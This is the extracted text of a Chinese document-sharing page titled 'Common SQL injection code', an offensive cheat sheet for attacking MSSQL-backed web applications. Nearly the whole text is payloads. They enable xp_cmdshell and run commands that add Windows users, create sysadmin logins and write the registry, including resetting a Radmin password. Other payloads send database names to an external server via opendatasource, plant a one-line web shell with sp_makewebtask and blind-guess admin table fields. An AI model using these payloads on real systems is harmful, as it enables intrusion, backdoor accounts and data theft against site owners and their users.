常用SQL注入代码

上传人:cl****1 文档编号:506208063 上传时间:2023-08-08 格式:DOCX 页数:13 大小:22.95KB
返回 下载 相关 举报
常用SQL注入代码_第1页
第1页 / 共13页
常用SQL注入代码_第2页
第2页 / 共13页
常用SQL注入代码_第3页
第3页 / 共13页
常用SQL注入代码_第4页
第4页 / 共13页
常用SQL注入代码_第5页
第5页 / 共13页
点击查看更多>>
资源描述

《常用SQL注入代码》由会员分享,可在线阅读,更多相关《常用SQL注入代码(13页珍藏版)》请在金锄头文库上搜索。

1、常用SQL注入代码文章分类:数据库/看看是什么权限的and 1=(Select IS_MEMBER(db_owner)And char(124)%2BCast(IS_MEMBER(db_owner) as varchar(1)%2Bchar(124)=1 ;- /检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS(master)And char(124)%2BCast(HAS_DBACCESS(master) as varchar(1)%2Bchar(124)=1 -数字类型and char(124)%2Buser%2Bchar(124)=0字符类型 and c

2、har(124)%2Buser%2Bchar(124)=0 and =搜索类型 and char(124)%2Buser%2Bchar(124)=0 and %=爆用户名and user0 and user0 and =检测是否为SA权限and 1=(select IS_SRVROLEMEMBER(sysadmin);-Andchar(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1)%2Bchar(124)=1 -检测是不是 MSSQL 数据库and exists (select * f

3、rom sysobjects);-检测是否支持多行;declare d int;-恢复 xp_cmdshell;exec master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll;-select * fromopenrowset(sqloledb,server=192.168.1.200,1433;uid=test;pwd=pafpaf ,select version)/ 执行命令/首先开启沙盘模式: exec master.xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftJet4.0Engine

4、s,SandBoxMod e,REG_DWORD,1然后利用 jet.oledb 执行系统命令 select * from openrowset(microsoft.jet.oledb.4.0,;database=c:winntsystem32ias ias.mdb,select shell(cmd.exe /c net user admin admin1234 /add)执行命令;DECLARE shell INT EXEC SP_OAcreate wscript.shell,shell OUTPUT EXEC SP_OAMETHOD shell,run,null, C:WINNTsyste

5、m32cmd.exe /c net user paf pafpaf /add;-EXEC master.dbo.xp_cmdshell cmd /c md c:1111判断 xp_cmdshell 扩展存储过程是否存在:http:/192.168.1.5/display.asp?keyno=188 and l=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_cmdshell)写注册表exec master.xp_regwriteHKEY_LOCAL_MACHINE,SOFTWAREMicroso

6、ftJet4.0Engines,SandBoxMod e,REG_DWORD,1REG_SZ读注册表exec master.xp_regread HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon,Userinit 读取目录内容exec master.xp_dirtree c:winntsystem32,1,1 数据库备份backup database pubs to disk = c:123.bak /爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8

7、000)%2Bchar(124) From D99_Tmp)=0 ;-更改sa 口令方法:用sql综合利用工具连接后,执行命令: exec sp_password NULL,新密码,sa添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程 xp_cmdshell 的语句:exec sp_dropextendedproc xp_cmdshell添加扩展存储过过程EXEC master.sp_addextendedpro

8、c xp_proxiedadata, c:winntsystem32sqllog.dllGRANT exec On xp_proxiedadata TO public停掉或激活某个服务。exec master.xp_servicecontrol stop,scheduleexec master.xp_servicecontrol start,scheduledbo.xp_subdirs只列某个目录下的子目录。xp_getfiledetails C:InetpubwwwrootSQLInjectlogin.aspdbo.xp_makecab将目标多个档案压缩到某个目标档案之内。 所有要压缩的档案

9、都可以接在参数列的最后方,以逗号隔开。dbo.xp_makecabc:test.cab,mszip,1, C:InetpubwwwrootSQLInjectlogin.asp, C:InetpubwwwrootSQLInjectsecurelogin.aspxp_terminate_process 停掉某个执行中的程序,但赋予的参数是 Process ID。利用”工作管理员”,透过选单检视-选择字段勾选pid,就可以看到 每个执行程序的 Process IDxp_terminate_process 2484xp_unpackcab解开压缩档。xp_unpackcab c:test.cab,c:

10、temp,1某机,安装了 radmin,密码被修改了,regedit.exe不知道被删除了还是被改名 了, net.exe 不存在,没有办法使用 regedit /e 导入注册文件,但是 mssql 是 sa 权限,使用如下命令 EXEC master.dbo.xp_regwriteHKEY_LOCAL_MACHINE,SYSTEMRAdminv2.0ServerParameters,Paramete r,REG_BINARY,0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为 12345678。如果要修改端口值 EXEC master.dbo.xp_regw

11、riteHKEY_LOCAL_MACHINE,SYSTEMRAdminv2.0ServerParameters,port,R EG_BINARY,0xd20400 则端口值改为 1234create database lcx;Create TABLE ku(name nvarchar(256) null);Create TABLE biao(id int NULL,name nvarchar(256) null);/得到数据库名insert into opendatasource(sqloledb,server=211.39.145.163,1443;uid=test;pwd=pa fpaf;

12、database=lcx). lcx. dbo. ku select name from master. dbo. sysdatabases/在 Master 中创建表,看看权限怎样Create TABLE master.D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-用 sp_makewebtask 直接在 web 目录里写入一句话马:htt p:/127.0.0.1/dbloginl23.asp?username=123;exec%20sp_makeweb task%2 Od:wwwtt88.asp,%20selec t%2

13、0%20/更新表内容Update films SET kind = Dramatic Where id = 123/删除内容delete from table_name where Stockid = 3 SQL 注射语句的经典总结SQL 注射语句1. 判断有无注入点 ; and 1=1 and 1=22. 猜表一般的表的名称无非是 admin adminuser user pass password 等. and 0(select count(*) from *)and 0(select count(*) from admin) -判断是否存在 admin 这张表3. 猜帐号数目 如果遇到

14、0 返回正确页面 1返回错误页面说明帐号数目就是 1 个and 0(select count(*) from admin)and 10)-and l=(select count(*) from admin where len(用户字段名称 name)0)and 1=(select count(*) from admin where len(密码字段名称 password)。)5. 猜解各个字段的长度 猜解长度就是把0 变换 直到返回正确页面为止and1=(selectcount(*)fromadminwherelen(*)0)and1=(selectcount(*)fromadminwherelen(name)6) 错误and1=(selectcount(*)fromadminwherelen(name)5) 正确长度是6and1=(selectcount(*)fromadminwherelen(name)=6) 正确and1=(selectcount(*)fromadminw

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 学术论文 > 其它学术论文

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号